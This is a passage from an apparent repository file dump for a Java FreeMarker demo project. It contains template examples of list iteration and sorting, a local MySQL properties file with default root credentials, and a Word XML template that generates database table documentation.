    "content": "<#--Freemarker遍历list-->\n简单遍历list:\n<#list userList as user>\n\t用户名：${user.userName}\n\t密  码：${user.userPassword}\n\t年  龄: ${user.age}\n</#list>\n\n\n<#--Freemarker遍历list并应用list隐含变量item_index-->\nitem_index使用：\n<#list userList as user>\n第${user_index+1}个用户\n\t用户名：${user.userName}\n\t密  码：${user.userPassword}\n\t年  龄: ${user.age}\n</#list>\n<#--Freemarker遍历list并应用list隐含变量item_has_next-->\nitem_has_next,size使用：\n<#list userList as user>\n\n\t用户名：${user.userName}\n\t密  码：${user.userPassword}\n\t年  龄: ${user.age}\n\t<#if !user_has_next>\n\t共有${userList?size}最后一个用户是:${user.userName}\n\t</#if>\n</#list>\n<#--Freemarker遍历list并按用户年龄升序排序-->\n\n按用户年龄升序排序：\n<#list userList?sort_by(\"age\") as user>\n\n\t用户名：${user.userName}\n\t密  码：${user.userPassword}\n\t年  龄: ${user.age}\n\t\n</#list>\n<#--Freemarker遍历list并按用户年龄降序排序-->\n\n按用户年龄降序排序：\n<#list userList?sort_by(\"age\")?reverse as user>\n\n\t用户名：${user.userName}\n\t密  码：${user.userPassword}\n\t年  龄: ${user.age}\n\t\n</#list>\n<#--Freemarker遍历list当用户年龄大于21岁时，停止输出-->\nlist中应用break:\n<#list userList?sort_by(\"age\")?reverse as user>\n\n\t用户名：${user.userName}\n\t密  码：${user.userPassword}\n\t年  龄: ${user.age}\n\t<#if (user.age>21) >\n\t\t<#break>\n\t</#if>\n</#list>\n\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/resources/application.properties",
    "content": "#mysql database setting\njdbc.driver=com.mysql.jdbc.Driver\njdbc.url=jdbc\\:mysql\\://localhost\\:3306/uu?useUnicode\\=true&characterEncoding\\=UTF-8&zeroDateTimeBehavior\\=convertToNull\njdbc.username=root\njdbc.password=root\n\n#dbcp settings\ndbcp.maxIdle=2\ndbcp.maxActive=10\ndbcp.defaultAutoCommit=true\ndatabase.name=null\n"
  },
  {
    "path": "jun_java_plugins/jun_freemarker/src/main/resources/info.ftl",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<?mso-application progid=\"Word.Document\"?>\n\n<pkg:package xmlns:pkg=\"http://schemas.microsoft.com/office/2006/xmlPackage\">\n  <pkg:part pkg:name=\"/_rels/.rels\" pkg:contentType=\"application/vnd.openxmlformats-package.relationships+xml\" pkg:padding=\"512\">\n    <pkg:xmlData>\n      <Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">\n        <Relationship Id=\"rId3\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties\" Target=\"docProps/app.xml\"/>\n        <Relationship Id=\"rId2\" Type=\"http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties\" Target=\"docProps/core.xml\"/>\n        <Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"word/document.xml\"/>\n      </Relationships>\n    </pkg:xmlData>\n  </pkg:part>\n  <pkg:part pkg:name=\"/word/_rels/document.xml.rels\" pkg:contentType=\"application/vnd.openxmlformats-package.relationships+xml\" pkg:padding=\"256\">\n    <pkg:xmlData>\n      <Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">\n        <Relationship Id=\"rId3\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings\" Target=\"settings.xml\"/>\n        <Relationship Id=\"rId2\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles\" Target=\"styles.xml\"/>\n        <Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/customXml\" Target=\"../customXml/item1.xml\"/>\n        <Relationship Id=\"rId6\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme\" Target=\"theme/theme1.xml\"/>\n        <Relationship Id=\"rId5\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable\" Target=\"fontTable.xml\"/>\n        <Relationship Id=\"rId4\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings\" Target=\"webSettings.xml\"/>\n      </Relationships>\n    </pkg:xmlData>\n  </pkg:part>\n  <pkg:part pkg:name=\"/word/document.xml\" pkg:contentType=\"application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml\">\n    <pkg:xmlData>\n      <w:document xmlns:w=\"http://schemas.openxmlformats.org/wordprocessingml/2006/main\" xmlns:wpc=\"http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas\" xmlns:mc=\"http://schemas.openxmlformats.org/markup-compatibility/2006\" xmlns:o=\"urn:schemas-microsoft-com:office:office\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\" xmlns:m=\"http://schemas.openxmlformats.org/officeDocument/2006/math\" xmlns:v=\"urn:schemas-microsoft-com:vml\" xmlns:wp14=\"http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing\" xmlns:wp=\"http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing\" xmlns:w10=\"urn:schemas-microsoft-com:office:word\" xmlns:w14=\"http://schemas.microsoft.com/office/word/2010/wordml\" xmlns:w15=\"http://schemas.microsoft.com/office/word/2012/wordml\" xmlns:wpg=\"http://schemas.microsoft.com/office/word/2010/wordprocessingGroup\" xmlns:wpi=\"http://schemas.microsoft.com/office/word/2010/wordprocessingInk\" xmlns:wne=\"http://schemas.microsoft.com/office/word/2006/wordml\" xmlns:wps=\"http://schemas.microsoft.com/office/word/2010/wordprocessingShape\" mc:Ignorable=\"w14 w15 wp14\">\n        <w:body>\n\t\t\t<#list tables as t>\n          <w:p w:rsidR=\"00F45F7F\" w:rsidRDefault=\"00313E87\">\n            <w:r>\n              <w:rPr>\n                <w:rFonts w:hint=\"eastAsia\"/>\n              </w:rPr>\n              <w:t>${t_index+1}.</w:t>\n            </w:r>\n            <w:r>\n              <w:t xml:space=\"preserve\">${t.tableName}</w:t>\n            </w:r>\n\t\t\t <w:r>\n              <w:t xml:space=\"preserve\">${t.tableRemarks}</w:t>\n            </w:r>\n          </w:p>\n\t\t \n          <w:tbl>\n            <w:tblPr>\n              <w:tblStyle w:val=\"a4\"/>\n              <w:tblW w:w=\"0\" w:type=\"auto\"/>\n              <w:tblLook w:val=\"04A0\" w:firstRow=\"1\" w:lastRow=\"0\" w:firstColumn=\"1\" w:lastColumn=\"0\" w:noHBand=\"0\" w:noVBand=\"1\"/>\n            </w:tblPr>\n            <w:tblGrid>\n              <w:gridCol w:w=\"1382\"/>\n              <w:gridCol w:w=\"1382\"/>\n              <w:gridCol w:w=\"1383\"/>\n              <w:gridCol w:w=\"1383\"/>\n              <w:gridCol w:w=\"1383\"/>\n              <w:gridCol w:w=\"1383\"/>\n            </w:tblGrid>\n            <w:tr w:rsidR=\"00313E87\" w:rsidTr=\"00313E87\">\n              <w:tc>\n                <w:tcPr>\n                  <w:tcW w:w=\"1382\" w:type=\"dxa\"/>\n                </w:tcPr>\n                <w:p w:rsidR=\"00313E87\" w:rsidRDefault=\"00313E87\">\n                  <w:pPr>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                  </w:pPr>\n                  <w:r>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                    <w:t>序号</w:t>\n                  </w:r>\n                </w:p>\n              </w:tc>\n              <w:tc>\n                <w:tcPr>\n                  <w:tcW w:w=\"1382\" w:type=\"dxa\"/>\n                </w:tcPr>\n                <w:p w:rsidR=\"00313E87\" w:rsidRDefault=\"00313E87\">\n                  <w:pPr>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                  </w:pPr>\n                  <w:r>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                    <w:t>列名</w:t>\n                  </w:r>\n                </w:p>\n              </w:tc>\n              <w:tc>\n                <w:tcPr>\n                  <w:tcW w:w=\"1383\" w:type=\"dxa\"/>\n                </w:tcPr>\n                <w:p w:rsidR=\"00313E87\" w:rsidRDefault=\"00313E87\">\n                  <w:pPr>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                  </w:pPr>\n                  <w:r>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                    <w:t>注释</w:t>\n                  </w:r>\n                </w:p>\n              </w:tc>\n              <w:tc>\n                <w:tcPr>\n                  <w:tcW w:w=\"1383\" w:type=\"dxa\"/>\n                </w:tcPr>\n                <w:p w:rsidR=\"00313E87\" w:rsidRDefault=\"00313E87\">\n                  <w:pPr>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                  </w:pPr>\n                  <w:r>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                    <w:t>类型</w:t>\n                  </w:r>\n                </w:p>\n              </w:tc>\n              <w:tc>\n                <w:tcPr>\n                  <w:tcW w:w=\"1383\" w:type=\"dxa\"/>\n                </w:tcPr>\n                <w:p w:rsidR=\"00313E87\" w:rsidRDefault=\"00313E87\">\n                  <w:pPr>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                  </w:pPr>\n                  <w:r>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                    <w:t>是否为空</w:t>\n                  </w:r>\n                </w:p>\n              </w:tc>\n              <w:tc>\n                <w:tcPr>\n                  <w:tcW w:w=\"1383\" w:type=\"dxa\"/>\n                </w:tcPr>\n                <w:p w:rsidR=\"00313E87\" w:rsidRDefault=\"00313E87\">\n                  <w:pPr>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                  </w:pPr>\n                </w:p>\n              </w:tc>\n            </w:tr>\n             <#list t.list as p>\n            <w:tr w:rsidR=\"00313E87\" w:rsidTr=\"00313E87\">\n              <w:tc>\n                <w:tcPr>\n                  <w:tcW w:w=\"1382\" w:type=\"dxa\"/>\n                </w:tcPr>\n                <w:p w:rsidR=\"00313E87\" w:rsidRDefault=\"00C66B36\">\n                  <w:pPr>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                  </w:pPr>\n                  <w:r>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                    <w:t>${p_index+1}</w:t>\n                  </w:r>\n                </w:p>\n              </w:tc>\n              <w:tc>\n                <w:tcPr>\n                  <w:tcW w:w=\"1382\" w:type=\"dxa\"/>\n                </w:tcPr>\n                <w:p w:rsidR=\"00313E87\" w:rsidRDefault=\"00C66B36\">\n                  <w:pPr>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                  </w:pPr>\n                  <w:r>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                    <w:t>${p.columnName}</w:t>\n                  </w:r>\n                </w:p>\n              </w:tc>\n              <w:tc>\n                <w:tcPr>\n                  <w:tcW w:w=\"1383\" w:type=\"dxa\"/>\n                </w:tcPr>\n                <w:p w:rsidR=\"00313E87\" w:rsidRDefault=\"00C66B36\">\n                  <w:pPr>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                  </w:pPr>\n                  <w:r>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                    <w:t>${p.REMARKS}</w:t>\n                  </w:r>\n                </w:p>\n              </w:tc>\n              <w:tc>\n                <w:tcPr>\n                  <w:tcW w:w=\"1383\" w:type=\"dxa\"/>\n                </w:tcPr>\n                <w:p w:rsidR=\"00313E87\" w:rsidRDefault=\"00C66B36\">\n                  <w:pPr>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                  </w:pPr>\n                  <w:r>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                    <w:t>${p.columnType}</w:t>\n                  </w:r>\n                </w:p>\n              </w:tc>\n              <w:tc>\n                <w:tcPr>\n                  <w:tcW w:w=\"1383\" w:type=\"dxa\"/>\n                </w:tcPr>\n                <w:p w:rsidR=\"00313E87\" w:rsidRDefault=\"00C66B36\">\n                  <w:pPr>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                  </w:pPr>\n                  <w:r>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                    <w:t>${p.nullable}</w:t>\n                  </w:r>\n                </w:p>\n              </w:tc>\n              <w:tc>\n                <w:tcPr>\n                  <w:tcW w:w=\"1383\" w:type=\"dxa\"/>\n                </w:tcPr>\n                <w:p w:rsidR=\"00313E87\" w:rsidRDefault=\"00313E87\">\n                  <w:pPr>\n                    <w:rPr>\n                      <w:rFonts w:hint=\"eastAsia\"/>\n                    </w:rPr>\n                  </w:pPr>\n                </w:p>\n              </w:tc>\n            </w:tr>\n            </#list>\n          </w:tbl>\n\t\t  </#list>\n          <w:p w:rsidR=\"00313E87\" w:rsidRDefault=\"00313E87\">\n            <w:pPr>\n              <w:rPr>\n                <w:rFonts w:hint=\"eastAsia\"/>\n              </w:rPr>\n            </w:pPr>\n          </w:p>\n          <w:sectPr w:rsidR=\"00313E87\">\n            <w:pgSz w:w=\"11906\" w:h=\"16838\"/>\n            <w:pgMar w:top=\"1440\" w:right=\"1800\" w:bottom=\"1440\" w:left=\"1800\" w:header=\"851\" w:footer=\"992\" w:gutter=\"0\"/>\n            <w:cols w:space=\"425\"/>\n            <w:docGrid w:type=\"lines\" w:linePitch=\"312\"/>\n          </w:sectPr>\n        </w:body>\n      </w:document>\n    </pkg:xmlData>\n  </pkg:part>\n  <pkg:part pkg:name=\"/word/theme/theme1.xml\" pkg:contentType=\"application/vnd.openxmlformats-officedocument.theme+xml\">\n    <pkg:xmlData>\n      <a:theme xmlns:a=\"http://schemas.openxmlformats.org/drawingml/2006/main\" name=\"Office 主题\">\n        <a:themeElements>\n          <a:clrScheme name=\"Office\">\n            <a:dk1>\n              <a:sysClr val=\"windowText\" lastClr=\"000000\"/>\n            </a:dk1>\n            <a:lt1>\n              <a:sysClr val=\"window\" lastClr=\"FFFFFF\"/>\n            </a:lt1>\n            <a:dk2>\n              <a:srgbClr val=\"44546A\"/>\n            </a:dk2>\n            <a:lt2>\n              <a:srgbClr val=\"E7E6E6\"/>\n            </a:lt2>\n            <a:accent1>\n              <a:srgbClr val=\"5B9BD5\"/>\n            </a:accent1>\n            <a:accent2>\n              <a:srgbClr val=\"ED7D31\"/>\n            </a:accent2>\n            <a:accent3>\n              <a:srgbClr val=\"A5A5A5\"/>\n            </a:accent3>\n            <a:accent4>\n              <a:srgbClr val=\"FFC000\"/>\n            </a:accent4>\n            <a:accent5>\n              <a:srgbClr val=\"4472C4\"/>\n            </a:accent5>\n            <a:accent6>\n              <a:srgbClr val=\"70AD47\"/>\n            </a:accent6>\n            <a:hlink>\n              <a:srgbClr val=\"0563C1\"/>\n            </a:hlink>\n            <a:folHlink>\n              <a:srgbClr val=\"954F72\"/>\n            </a:folHlink>\n          </a:clrScheme>\n          <a:fontScheme name=\"Office\">\n            <a:majorFont>\n              <a:latin typeface=\"Calibri Light\" panose=\"020F0302020204030204\"/>\n              <a:ea typeface=\"\"/>\n              <a:cs typeface=\"\"/>\n              <a:font script=\"Jpan\" typeface=\"ＭＳ ゴシック\"/>\n              <a:font script=\"Hang\" typeface=\"맑은 고딕\"/>\n              <a:font script=\"Hans\" typeface=\"宋体\"/>\n              <a:font script=\"Hant\" typeface=\"新細明體\"/>\n              <a:font script=\"Arab\" typeface=\"Times New Roman\"/>\n              <a:font script=\"Hebr\" typeface=\"Times New Roman\"/>\n              <a:font script=\"Thai\" typeface=\"Angsana New\"/>\n              <a:font script=\"Ethi\" typeface=\"Nyala\"/>\n              <a:font script=\"Beng\" typeface=\"Vrinda\"/>\n              <a:font script=\"Gujr\" typeface=\"Shruti\"/>\n              <a:font script=\"Khmr\" typeface=\"MoolBoran\"/>\n              <a:font script=\"Knda\" typeface=\"Tunga\"/>\n              <a:font script=\"Guru\" typeface=\"Raavi\"/>\n              <a:font script=\"Cans\" typeface=\"Euphemia\"/>\n              <a:font script=\"Cher\" typeface=\"Plantagenet Cherokee\"/>\n              <a:font script=\"Yiii\" typeface=\"Microsoft Yi Baiti\"/>\n              <a:font script=\"Tibt\" typeface=\"Microsoft Himalaya\"/>\n              <a:font script=\"Thaa\" typeface=\"MV Boli\"/>\n              <a:font script=\"Deva\" typeface=\"Mangal\"/>\n              <a:font script=\"Telu\" typeface=\"Gautami\"/>\n              <a:font script=\"Taml\" typeface=\"Latha\"/>\n              <a:font script=\"Syrc\" typeface=\"Estrangelo Edessa\"/>\n              <a:font script=\"Orya\" typeface=\"Kalinga\"/>\n              <a:font script=\"Mlym\" typeface=\"Kartika\"/>\n              <a:font script=\"Laoo\" typeface=\"DokChampa\"/>\n              <a:font script=\"Sinh\" typeface=\"Iskoola Pota\"/>\n              <a:font script=\"Mong\" typeface=\"Mongolian Baiti\"/>\n              <a:font script=\"Viet\" typeface=\"Times New Roman\"/>\n              <a:font script=\"Uigh\" typeface=\"Microsoft Uighur\"/>\n              <a:font script=\"Geor\" typeface=\"Sylfaen\"/>\n            </a:majorFont>\n            <a:minorFont>\n              <a:latin typeface=\"Calibri\" panose=\"020F0502020204030204\"/>\n              <a:ea typeface=\"\"/>\n              <a:cs typeface=\"\"/>\n              <a:font script=\"Jpan\" typeface=\"ＭＳ 明朝\"/>\n              <a:font script=\"Hang\" typeface=\"맑은 고딕\"/>\n              <a:font script=\"Hans\" typeface=\"宋体\"/>\n              <a:font script=\"Hant\" typeface=\"新細明體\"/>\n              <a:font script=\"Arab\" typeface=\"Arial\"/>\n              <a:font script=\"Hebr\" typeface=\"Arial\"/>\n              <a:font script=\"Thai\" typeface=\"Cordia New\"/>\n              <a:font script=\"Ethi\" typeface=\"Nyala\"/>\n              <a:font script=\"Beng\" typeface=\"Vrinda\"/>\n              <a:font script=\"Gujr\" typeface=\"Shruti\"/>\n              <a:font script=\"Khmr\" typeface=\"DaunPenh\"/>\n              <a:font script=\"Knda\" typeface=\"Tunga\"/>\n              <a:font script=\"Guru\" typeface=\"Raavi\"/>\n              <a:font script=\"Cans\" typeface=\"Euphemia\"/>\n              <a:font script=\"Cher\" typeface=\"Plantagenet Cherokee\"/>\n              <a:font script=\"Yiii\" typeface=\"Microsoft Yi Baiti\"/>\n              <a:font script=\"Tibt\" typeface=\"Microsoft Himalaya\"/>\n              <a:font script=\"Thaa\" typeface=\"MV Boli\"/>\n              <a:font script=\"Deva\" typeface=\"Mangal\"/>\n              <a:font script=\"Telu\" typeface=\"Gautami\"/>\n              <a:font script=\"Taml\" typeface=\"Latha\"/>\n              <a:font script=\"Syrc\" typeface=\"Estrangelo Edessa\"/>\n              <a:font script=\"Orya\" typeface=\"Kalinga\"/>\n              <a:font script=\"Mlym\" typeface=\"Kartika\"/>\n              <a:font script=\"Laoo\" typeface=\"DokChampa\"/>\n              <a:font script=\"Sinh\" typeface=\"Iskoola Pota\"/>\n              <a:font script=\"Mong\" typeface=\"Mongolian Baiti\"/>\n              <a:font script=\"Viet\" typeface=\"Arial\"/>\n              <a:font script=\"Uigh\" typeface=\"Microsoft Uighur\"/>\n              <a:font script=\"Geor\" typeface=\"Sylfaen\"/>\n            </a:minorFont>\n          </a:fontScheme>\n          <a:fmtScheme name=\"Office\">\n            <a:fillStyleLst>\n              <a:solidFill>\n                <a:schemeClr val=\"phClr\"/>\n              </a:solidFill>\n              <a:gradFill rotWithShape=\"1\">\n                <a:gsLst>\n                  <a:gs pos=\"0\">\n                    <a:schemeClr val=\"phClr\">\n                      <a:lumMod val=\"110000\"/>\n                      <a:satMod val=\"105000\"/>\n                      <a:tint val=\"67000\"/>\n                    </a:schemeClr>\n                  </a:gs>\n                  <a:gs pos=\"50000\">\n                    <a:schemeClr val=\"phClr\">\n                      <a:lumMod val=\"105000\"/>\n                      <a:satMod val=\"103000\"/>\n                      <a:tint val=\"73000\"/>\n                    </a:schemeClr>\n                  </a:gs>\n                  <a:gs pos=\"100000\">\n                    <a:schemeClr val=\"phClr\">\n                      <a:lumMod val=\"105000\"/>\n                      <a:satMod val=\"109000\"/>\n                      <a:tint val=\"81000\"/>\n                    </a:schemeClr>\n                  </a:gs>\n                </a:gsLst>\n                <a:lin ang=\"5400000\" scaled=\"0\"/>\n              </a:gradFill>\n              <a:gradFill rotWithShape=\"1\">\n                <a:gsLst>\n                  <a:gs pos=\"0\">\n                    <a:schemeClr val=\"phClr\">\n                      <a:satMod val=\"103000\"/>\n                      <a:lumMod val=\"102000\"/>\n                      <a:tint val=\"94000\"/>\n                    </a:schemeClr>\n                  </a:gs>\n                  <a:gs pos=\"50000\">\n                    <a:schemeClr val=\"phClr\">\n                      <a:satMod val=\"110000\"/>\n                      <a:lumMod val=\"100000\"/>\n                      <a:shade val=\"100000\"/>\n                    </a:schemeClr>\n                  </a:gs>\n                  <a:gs pos=\"100000\">\n                    <a:schemeClr val=\"phClr\">\n                      <a:lumMod val=\"99000\"/>\n                      <a:satMod val=\"120000\"/>\n                      <a:shade val=\"78000\"/>\n                    </a:schemeClr>\n                  </a:gs>\n                </a:gsLst>\n                <a:lin ang=\"5400000\" scaled=\"0\"/>\n              </a:gradFill>\n            </a:fillStyleLst>\n            <a:lnStyleLst>\n              <a:ln w=\"6350\" cap=\"flat\" cmpd=\"sng\" algn=\"ctr\">\n                <a:solidFill>\n                  <a:schemeClr val=\"phClr\"/>\n                </a:solidFill>\n                <a:prstDash val=\"solid\"/>\n                <a:miter lim=\"800000\"/>\n              </a:ln>\n              <a:ln w=\"12700\" cap=\"flat\" cmpd=\"sng\" algn=\"ctr\">\n                <a:solidFill>\n                  <a:schemeClr val=\"phClr\"/>\n                </a:solidFill>\n                <a:prstDash val=\"solid\"/>\n                <a:miter lim=\"800000\"/>\n              </a:ln>\n              <a:ln w=\"19050\" cap=\"flat\" cmpd=\"sng\" algn=\"ctr\">\n                <a:solidFill>\n                  <a:schemeClr val=\"phClr\"/>\n                </a:solidFill>\n                <a:prstDash val=\"solid\"/>\n                <a:miter lim=\"800000\"/>\n              </a:ln>\n            </a:lnStyleLst>\n            <a:effectStyleLst>\n              <a:effectStyle>\n                <a:effectLst/>\n              </a:effectStyle>\n              <a:effectStyle>\n                <a:effectLst/>\n              </a:effectStyle>\n              <a:effectStyle>\n                <a:effectLst>\n                  <a:outerShdw blurRad=\"57150\" dist=\"19050\" dir=\"5400000\" algn=\"ctr\" rotWithShape=\"0\">\n                    <a:srgbClr val=\"000000\">\n                      <a:alpha val=\"63000\"/>\n                    </a:srgbClr>\n                  </a:outerShdw>\n                </a:effectLst>\n              </a:effectStyle>\n            </a:effectStyleLst>\n            <a:bgFillStyleLst>\n              <a:solidFill>\n                <a:schemeClr val=\"phClr\"/>\n              </a:solidFill>\n              <a:solidFill>\n                <a:schemeClr val=\"phClr\">\n                  <a:tint val=\"95000\"/>\n                  <a:satMod val=\"170000\"/>\n                </a:schemeClr>\n              </a:solidFill>\n              <a:gradFill rotWithShape=\"1\">\n                <a:gsLst>\n                  <a:gs pos=\"0\">\n                    <a:schemeClr val=\"phClr\">\n                      <a:tint val=\"93000\"/>\n                      <a:satMod val=\"150000\"/>\n                      <a:shade val=\"98000\"/>\n                      <a:lumMod val=\"102000\"/>\n                    </a:schemeClr>\n                  </a:gs>\n                  <a:gs pos=\"50000\">\n                    <a:schemeClr val=\"phClr\">\n                      <a:tint val=\"98000\"/>\n                      <a:satMod val=\"130000\"/>\n                      <a:shade val=\"90000\"/>\n                      <a:lumMod val=\"103000\"/>\n                    </a:schemeClr>\n                  </a:gs>\n                  <a:gs pos=\"100000\">\n                    <a:schemeClr val=\"phClr\">\n                      <a:shade val=\"63000\"/>\n                      <a:satMod val=\"120000\"/>\n                    </a:schemeClr>\n                  </a:gs>\n                </a:gsLst>\n                <a:lin ang=\"5400000\" scaled=\"0\"/>\n              </a:gradFill>\n            </a:bgFillStyleLst>\n          </a:fmtScheme>\n        </a:themeElements>\n        <a:objectDefaults/>\n        <a:extraClrSchemeLst/>\n        <a:extLst>\n          <a:ext uri=\"{05A4C25C-085E-4340-85A3-A5531E510DB2}\">\n            <thm15:themeFamily xmlns:thm15=\"http://schemas.microsoft.com/office/thememl/2012/main\" name=\"Office Theme\" id=\"{62F939B6-93AF-4DB8-9C6B-D6C7DFDC589F}\" vid=\"{4A3C46E8-61CC-4603-A589-7422A47A8E4A}\"></thm15:themeFamily>\n          </a:ext>\n        </a:extLst>\n      </a:theme>\n    </pkg:xmlData>\n  </pkg:part>\n  <pkg:part pkg:name=\"/word/settings.xml\" pkg:contentType=\"application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml\">\n    <pkg:xmlData>\n      <w:settings xmlns:w=\"http://schemas.openxmlformats.org/wordprocessingml/2006/main\" xmlns:mc=\"http://schemas.openxmlformats.org/markup-compatibility/2006\" xmlns:o=\"urn:schemas-microsoft-com:office:office\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\" xmlns:m=\"http://schemas.openxmlformats.org/officeDocument/2006/math\" xmlns:v=\"urn:schemas-microsoft-com:vml\" xmlns:w10=\"urn:schemas-microsoft-com:office:word\" xmlns:w14=\"http://schemas.microsoft.com/office/word/2010/wordml\" xmlns:w15=\"http://schemas.microsoft.com/office/word/2012/wordml\" xmlns:sl=\"http://schemas.openxmlformats.org/schemaLibrary/2006/main\" mc:Ignorable=\"w14 w15\">\n        <w:zoom w:percent=\"100\"/>\n        <w:bordersDoNotSurroundHeader/>\n        <w:bordersDoNotSurroundFooter/>\n        <w:proofState w:spelling=\"clean\" w:grammar=\"clean\"/>\n        <w:defaultTabStop w:val=\"420\"/>\n        <w:drawingGridVerticalSpacing w:val=\"156\"/>\n        <w:displayHorizontalDrawingGridEvery w:val=\"0\"/>\n        <w:displayVerticalDrawingGridEvery w:val=\"2\"/>\n        <w:characterSpacingControl w:val=\"compressPunctuation\"/>\n        <w:compat>\n          <w:spaceForUL/>\n          <w:balanceSingleByteDoubleByteWidth/>\n          <w:doNotLeaveBackslashAlone/>\n          <w:ulTrailSpace/>\n          <w:doNotExpandShiftReturn/>\n          <w:adjustLineHeightInTable/>\n          <w:useFELayout/>\n          <w:compatSetting w:name=\"compatibilityMode\" w:uri=\"http://schemas.microsoft.com/office/word\" w:val=\"15\"/>\n          <w:compatSetting w:name=\"overrideTableStyleFontSizeAndJustification\" w:uri=\"http://schemas.microsoft.com/office/word\" w:val=\"1\"/>\n          <w:compatSetting w:name=\"enableOpenTypeFeatures\" w:uri=\"http://schemas.microsoft.com/office/word\" w:val=\"1\"/>\n          <w:compatSetting w:name=\"doNotFlipMirrorIndents\" w:uri=\"http://schemas.microsoft.com/office/word\" w:val=\"1\"/>\n          <w:compatSetting w:name=\"differentiateMultirowTableHeaders\" w:uri=\"http://schemas.microsoft.com/office/word\" w:val=\"1\"/>\n        </w:compat>\n        <w:rsids>\n          <w:rsidRoot w:val=\"00F60178\"/>\n          <w:rsid w:val=\"00313E87\"/>\n          <w:rsid w:val=\"00C66B36\"/>\n          <w:rsid w:val=\"00F45F7F\"/>\n          <w:rsid w:val=\"00F60178\"/>\n        </w:rsids>\n        <m:mathPr>\n          <m:mathFont m:val=\"Cambria Math\"/>\n          <m:brkBin m:val=\"before\"/>\n          <m:brkBinSub m:val=\"--\"/>\n          <m:smallFrac m:val=\"0\"/>\n          <m:dispDef/>\n          <m:lMargin m:val=\"0\"/>\n          <m:rMargin m:val=\"0\"/>\n          <m:defJc m:val=\"centerGroup\"/>\n          <m:wrapIndent m:val=\"1440\"/>\n          <m:intLim m:val=\"subSup\"/>\n          <m:naryLim m:val=\"undOvr\"/>\n        </m:mathPr>\n        <w:themeFontLang w:val=\"en-US\" w:eastAsia=\"zh-CN\"/>\n        <w:clrSchemeMapping w:bg1=\"light1\" w:t1=\"dark1\" w:bg2=\"light2\" w:t2=\"dark2\" w:accent1=\"accent1\" w:accent2=\"accent2\" w:accent3=\"accent3\" w:accent4=\"accent4\" w:accent5=\"accent5\" w:accent6=\"accent6\" w:hyperlink=\"hyperlink\" w:followedHyperlink=\"followedHyperlink\"/>\n        <w:shapeDefaults>\n          <o:shapedefaults v:ext=\"edit\" spidmax=\"1026\"/>\n          <o:shapelayout v:ext=\"edit\">\n            <o:idmap v:ext=\"edit\" data=\"1\"/>\n          </o:shapelayout>\n        </w:shapeDefaults>\n        <w:decimalSymbol w:val=\".\"/>\n        <w:listSeparator w:val=\",\"/>\n        <w15:chartTrackingRefBased/>\n        <w15:docId w15:val=\"{EE4453EA-A7E3-475A-AA4F-FBFC036EBC74}\"/>\n      </w:settings>\n    </pkg:xmlData>\n  </pkg:part>\n  <pkg:part pkg:name=\"/customXml/_rels/item1.xml.rels\" pkg:contentType=\"application/vnd.openxmlformats-package.relationships+xml\" pkg:padding=\"256\">\n    <pkg:xmlData>\n      <Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">\n        <Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/customXmlProps\" Target=\"itemProps1.xml\"/>\n      </Relationships>\n    </pkg:xmlData>\n  </pkg:part>\n  <pkg:part pkg:name=\"/customXml/itemProps1.xml\" 